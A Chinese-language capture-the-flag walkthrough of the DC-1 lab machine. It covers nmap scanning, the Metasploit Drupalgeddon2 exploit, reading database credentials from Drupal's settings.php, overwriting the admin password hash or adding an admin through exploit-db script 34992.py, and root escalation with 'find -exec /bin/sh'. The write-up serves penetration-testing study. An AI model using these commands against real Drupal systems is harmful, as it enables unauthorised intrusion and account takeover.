DC-1

网段:192.168.174.0/24

本靶场环境总共有5个flag

1.信息收集

1.1. 主机发现

nmap -sn 192.168.174.0/24
或者
netdiscover -r 192.168.174.0/24 --排除1,2,254

image-20240313195746995

得到目标IP:192.168.174.145

kali的IP:192.168.174.137

1.2. 扫描端口和服务

sudo nmap -T4 -sV -O -A -p- 192.168.174.145
PORT      STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 36735/udp status
| 100024 1 42162/tcp6 status
| 100024 1 57533/tcp status
|_ 100024 1 58225/udp6 status
57533/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:7E:64:DD (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • 22算口,开放了ssh服务,OpenSSH 6.0p1
  • 80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
  • 111端口,开放了rpcbind服务

补充知识:Drupal由php语言编写的cms,rpcbind是NFS中用来进行消息通知的服务

1.3. 访问目标页面

image-20240313200659949

可以看到是一个登陆界面,可能存在sql注入漏洞或弱口令,

1.4. 利用MSF渗透

MSF简单指令
msfconsole 进入MSF控制台
search 搜索相应模块
use 对应模块
show options 查看信息
set RHOST 远程主机ip
run 攻击

1.4.1. 搜索Drupal 7的漏洞

searchsploit Drupa 7

image-20240313201413144

可以发现能利用的漏洞非常多

1.4.2. 进入MSF控制台搜索drupal模块

image-20240313201539370

1.4.3. 选择模块进行测试

用2018的试试

use exploit/unix/webapp/drupal_drupalgeddon2

1.4.4 设置靶机IP运行msf

set rhosts 192.168.174.145
run

1.4.5 进入shell

image-20240313201920626

但不是root权限,不妨先find一下flag问价

find / -iname "*flag*"

image-20240313202242817

有点多,先把带txt的过滤出来

image-20240313202404685

先找一下这三个

image-20240313202717938

可以看到其中只有flag1.txt是我们能访问的

cat /var/www/flag1.txt
Every good CMS needs a config file - and so do you.
每个好的CMS都需要一个配置文件——你也一样。

通过这个线索我们可以区找一下这个cms的配置文件,但这个界面确实不怎么好看,使用python反弹一个交互式shell TTY。

python -c 'import pty;pty.spawn("/bin/bash")

image-20240313203341574

搜索发现drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。

去看一下能不能看到这个文件的信息

image-20240313203955072

可以看到数据库的账号密码,英文意思如下

爆破攻击和字典攻击不是
获得访问权限的唯一方法(您将需要访问权限)。
你能用这些证书做什么?

登陆数据库

Drupal框架默认的用户表就是users表

mysql -u dbuser -pR0ck3t
show databses; --发现drup数据库
show tables; --发现users表
select * from users;

image-20240313204216786

发现admin账号和经过加密的密码,drupal常用密码加密是MD5格式,但是7.0以后因为安全性问题将加密方式改成了hash加密(由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。)。

这里不是md5加密,应该是自定义的加密方式。flag2中给的提示暴力破解不是唯一的方法我们得想一下其他的办法。

方法一重置密码

image-20240313205708345

不知道为什么我用这个会报错说文件包含

www-data@DC-1:/var/www$ php ./scripts/password-hash.sh 123456
php ./scripts/password-hash.sh 123456

password: 123456 hash: $S$D4xwucG8/pjZ3bY0Kbes7oTkR8SS8JttMWCI.FpOhtNmSYDcCqxa

原来要在根目录下使用

在指定目录下执行脚本是为了确保脚本能够正确加载所需的文件和依赖项。在Drupal中,脚本需要包含Drupal的核心文件和库才能生成正确的密码哈希。一般情况下,Drupal的根目录包含index.php文件和sites目录。

得到后,再把他写入数据库中

mysql -h是MySQL命令行客户端中的参数,用于指定要连接的MySQL服务器的主机名或IP地址。在命令行中,-h后面可以跟上要连接的MySQL服务器的主机名或IP地址。

mysql -h localhost -u dbuser -pR0ck3t

然后把密码写如user表

update users set pass="$S$D4xwucG8/pjZ3bY0Kbes7oTkR8SS8JttMWCI.FpOhtNmSYDcCqxa" where name="admin";

image-20240313211312372

image-20240313211331364

方法二,利用漏洞添加admin用户

image-20240313213434032

但有版本要求,所以我们需要先查看drupal的版本

cat /var/www/includes/bootstrap.inc | grep VERSION

image-20240313214051628

7.21是可以利用该漏洞的

python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.174.145 -u youzipii -p 123123
需要注意用python3会报错,要用python2执行

image-20240313214901260

可以看到也登陆进来了

1.4.6 flag3

image-20240313215010627

翻译一下:特殊的PERMS可以帮助找到密码-但您需要-exec该命令,以确定如何获取在shadow文件中的内容

别人说很明显的提示:find+perms+exec 命令用来提权

1.4.7 flag4

根据flag3的提示提权,我们尝试查看用户列表信息(包含用户权限信息),这些用户信息一般存储在/etc/passwd目录下。

image-20240313215214862

注意,/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段。如下图所示:

img

切换到home目录寻找flag4相关文件,并尝试查看。

image-20240313215341017

提示最后flag in root下面。

1.4.8 提权+获得最终flag

image-20240313215633609

下面就是提权了

根据flag3中的提示,使用“-exec”提权,也就是find+perms+exec 命令来提权。这里有两种方法可以用,看个人想法。详细关于find提权会在另一篇文章中详解。

1. find ./ acce -exec '/bin/sh' \;

2. touch bcce有可能不能创建
find bcce -exec '/bin/sh' \;

image-20240313215833812

访问最后一个flag

image-20240313215921134